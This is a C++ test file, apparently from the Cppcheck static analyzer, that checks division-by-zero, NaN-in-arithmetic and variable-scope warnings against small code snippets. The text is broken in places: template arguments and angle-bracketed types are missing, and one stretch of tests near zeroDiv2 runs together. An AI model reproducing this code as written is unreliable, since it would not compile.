TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" 